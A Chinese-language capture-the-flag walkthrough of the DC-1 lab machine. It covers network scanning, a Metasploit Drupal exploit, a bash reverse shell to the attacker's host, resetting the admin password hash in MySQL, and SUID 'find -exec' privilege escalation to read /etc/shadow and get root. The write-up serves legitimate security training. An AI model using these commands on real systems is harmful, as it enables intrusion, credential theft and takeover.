下载好VirtualBox 靶机DC-1

目标:靶机描述:DC-1 是一个专门构建的易受攻击的实验室,旨在获得渗透测试领域的经验。共有五个flag,但最终目标是拿到root目录中的flag。

安装

安装好之后如下:

image-20240802154021430

接着来调设置

image-20240802154216095

image-20240802154610282

然后就把靶机开起来,这里是没有账号密码的,需要我们自己去拿到

image-20240802154952288

信息收集

寻找ip

我们回到kali,我们现在还不知道靶机的IP,所以我们先来寻找一下

1
2
3
arp-scan -l
如果不是root用户:
sudo arp-scan -l

该命令是:探测同一区域中存活主机

image-20240802161925615

去VirtualBox看靶机的信息

image-20240802162458524

所以我们就知道ip为192.168.56.103为靶机的ip地址

端口扫描

1
2
3
4
$ nmap -sV -p- 192.168.56.103

-sV 用来扫描目标主机和端口上运行的软件的版本
-p- 扫描0-65535全部端口

image-20240802163506837

80端口开放了 网站服务 ,我们去访问一下

image-20240802163600897

测试

先尝试了一下弱密码,和sql注入发现都没有什么收获

试着去找找CMS漏洞 这个不难看出是Drupal

打开Wappalyzer 有版本信息

image-20240802164544416

拿shell

在网上就去寻找有没有它的漏洞poc 或者用kali自带的 msfconsole 看看有没有自带的漏洞脚本

image-20240802165040252

search drupal

image-20240802165143822

优先选择上面查到模块的Rank为excellent并且时间较新的模块

这里我用的是1

use 1

image-20240802165730809

show options

image-20240802165825779

有yes且第三项为空的就必须得填

这里我们把 rhost 跟 lhost设置一下 rhost为靶机 lhost为攻击机

image-20240802170131333

攻击机的ip为192.168.56.102 设置好之后就run

image-20240802170231979

出现这个,我们就拿到普通shell了

image-20240802170420773

image-20240802170459142

加固权限

先说说为什么要加固权限:因为在一开始shell的那个窗口,不太好打命令,不方便使用,而且在输入一些命令时,可能会出现没有回显的情况。

我们先在kali上监听

1
nc -nvlp 4444

image-20240802183234064

在原shell中把shell反弹给kali

1
bash -c 'exec bash -i &>/dev/tcp/kali的ip/4444 <&1'

image-20240802183408915

调用python

1
python -c 'import pty; pty.spawn("/bin/bash")'   

image-20240802183647229

接着

1
2
ctrl +z 
stty raw -echo;fg;reset

image-20240802183812391

image-20240802183908668

到这里就加固完成了

flag

image-20240802184350024

发现flag1

image-20240802184425176

1
2
3
flag1
Every good CMS needs a config file - and so do you.
每个好的内容管理系统(CMS)都需要一个配置文件——我也是如此。

说明下一步要去配置文件看看,但是我们对这个cms并不熟悉,所以我们去搜索看看drupal的配置文件在哪

1
sites/default/settings.php

image-20240802184903300

我们来看看里面有什么东西

发现flag2

1
2
3
4
5
flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
暴力破解和字典攻击并不是获取访问权限的唯一方式(而且你确实需要访问权限)。你可以用这些凭据做什么?

image-20240802185139229

很明显 暴力破解跟字典攻击是指的为drupal的那个登录界面,注意到 下面是不是还有数据库的账号跟密码,我们是不是可以去数据库看看管理员的账号密码

连接数据库

1
mysql -u dbuser -p
1
R0ck3t

image-20240802185746170

查库

image-20240802185814951

我们来看durpaldb这个库

在这个库中存在一张users表

image-20240802190135032

image-20240802190453667

很明显这是加密之后的密码,我们拿不到明文密码,试试能不能改admin用户的密码,或者是在添加一个admin用户

思路:

我们可以先利用加密逻辑对一个我们知道的字符串进行加密,然后再去数据库修改密码

不会的就先去搜集资料:

image-20240802202114045

image-20240802191551314

在password.inc中有加密逻辑,但是不知道怎么用上去,本来是可以写个php脚本来调用函数来输出加密后的密码的

然后查到scripts目录下放的是一些web端sh运行脚本文件,既然我们在登录界面输入的明文密码,那它应该是有一个加密脚本的

image-20240802202729377

这个password-hash.sh应该就是我们要找的脚本了

要注意的是它是要用include 调用password.inc

image-20240802203546318

所以要回到www目录下调用脚本

1
2
admin
$S$DEZkfiReKlKRqxivdLz0W/GjAGLv3xCorlGAqpDT1aTBL39n7TIb
1
2
3
UPDATE users
SET pass = '$S$DEZkfiReKlKRqxivdLz0W/GjAGLv3xCorlGAqpDT1aTBL39n7TIb'
WHERE name = 'admin';

image-20240802204519884

登录成功

image-20240802204620754

发现flag3

1
2
3
flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊权限将帮助你找到密码文件——但你需要使用 -exec 选项来执行那个命令,以弄清楚如何获取 shadow 文件中的内容。

image-20240802204841132

image-20240802205158363

知识点:find命令跟exec

image-20240802205706211

找到etc下的passwd文件

image-20240802210539744

发现flag4

etc/passwd 文件结构

用户名: flag4 — 用户的登录名是 flag4

密码占位符: x — 密码哈希在 /etc/shadow 文件中,而不是直接在 /etc/passwd 文件中。

UID: 1001 — 用户的唯一标识符。

GID: 1001 — 用户的主组的唯一标识符。

用户描述: Flag4,,, — 用户的描述字段,可能用于标识用户的特殊信息。

主目录: /home/flag4 — 用户的主目录路径。

默认 Shell: /bin/bash — 用户登录后的默认 Shell 是 Bash。

1
flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash

image-20240802211143619

1
2
3
4
Can you use this same method to find or access the flag in root?
Probably. But perhaps it's not that easy. Or maybe it is?
你能否使用相同的方法在 root 下找到或访问 flag?
可能可以。但是也许这并不那么简单。或者其实很简单?

找到flag4的时候我没有用上find 跟exec 这里思路断了,不知道怎么用上exec命令

提权

根据一开始的方法直接去cat shadow文件 权限是不够的

image-20240802213701144

然后发现

1
find 1 -exec cat /etc/shadow \;

在find查询到1这个文件之后 exec执行的cat命令就可以查看,相当于exec让我们短暂的成为了root权限

image-20240802214034387

/bin/sh它只是启动一个新的 Shell 进程。这个 Shell 进程会以启动它的用户的权限运行(例如,普通用户或 root)。如果你没有 root 权限,启动的 /bin/sh 也不会拥有 root 权限。

当我们用exec打开的shell 就可以提升权限了

image-20240802215353943

最终拿到root权限 拿到最后的flag

image-20240802215508606

1
2
3
4
Well done!!!!
Hopefully you've enjoyed this and learned some new skills.
做得很好!!!
希望你享受了这个过程并学到了一些新技能。

补充:

find / -user root -perm -4000 -print 2>/dev/null

find /: 从根目录 / 开始递归查找文件。你可以根据需要替换 / 为其他目录进行更局限的查找,例如 /usr/bin

-user root: 仅查找属于用户 root 的文件。SUID 文件通常由 root 用户拥有,所以这部分确保只查找 root 用户拥有的文件。

-perm -4000: 查找具有 SUID 权限的文件。-4000 表示 SUID 位设置(即八进制权限值中的第一个数字是 4),- 确保查找精确的权限设置。

-print: 打印出找到的文件路径。

2>/dev/null: 将错误输出(例如权限错误或找不到文件的错误)重定向到 /dev/null,即忽略这些错误,避免它们显示在终端上。

运行该命令后,你将得到系统上所有具有 SUID 权限并由 root 用户拥有的文件列表。这些文件通常是系统关键的工具或二进制文件,可能会被用于需要提升权限的操作。